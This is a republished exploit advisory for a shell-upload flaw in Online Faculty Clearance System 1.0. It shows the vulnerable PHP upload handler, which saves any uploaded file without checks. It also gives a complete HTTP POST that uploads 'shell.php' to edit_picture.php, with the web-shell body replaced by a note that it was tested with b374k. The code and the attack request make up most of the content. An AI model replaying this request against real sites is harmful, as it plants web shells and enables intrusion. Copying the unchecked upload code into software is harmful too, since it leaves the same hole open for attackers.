Online Faculty Clearance System 1.0 Shell Upload ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on March 24th, 2021 📆 | 4298 Views ⚑

0

Online Faculty Clearance System 1.0 Shell Upload ≈ Packet Storm

# Exploit Title: Online Faculty Clearance System Shell Upload
# Exploit Author: th3d1gger
# Vendor Homepage: https://sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlineclearance_0.zip
# Version: 1.0
# Tested on Windows 10

@Vulnerable Source Code
——————————————————-

< ?php
if(isset($_POST[‘files’]))
{
$a = $_FILES[‘file’][‘name’];
$ab = $_FILES[‘file’][‘tmp_name’];
$location = “”.$a;
move_uploaded_file($ab, “../requirements/”.$location);
// $sql = $conn->prepare(“INSERT INTO requirement (file) VALUES (?)”);
// $sql->execute(array($location));
$userid = $_SESSION[‘id’];
$a = $conn->lastInsertId();
// $sql1 = $conn->prepare(“INSERT INTO req_faculty (id,req_id,file) VALUES (?,?,?)”);
// $sql1->execute(array($userid,$a,$location));
$sql2 = $conn->prepare(“UPDATE faculty SET faculty_picture = ? WHERE id = ?”);
$sql2->execute(array($location,$userid));
if($sql){
echo ‘
‘;
}
}
?>
@attack request
———————–ShellUpload—————————
POST /production/edit_picture.php HTTP/1.1

Host: 192.168.1.5

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=—————————304272295614074513932150381645

Content-Length: 171193

Origin: http://192.168.1.5

Connection: close

Referer: http://192.168.1.5/production/edit_picture.php

Cookie: PHPSESSID=33m58omrnhv63lll47tsfqsvfn

Upgrade-Insecure-Requests: 1

—————————–304272295614074513932150381645

Content-Disposition: form-data; name=”file”; filename=”shell.php”

Content-Type: application/x-php

< ?php
tested with b374k ?>

—————————–304272295614074513932150381645

Content-Disposition: form-data; name=”files”

—————————–304272295614074513932150381645–

Source link

Tagged with:



Leave a Reply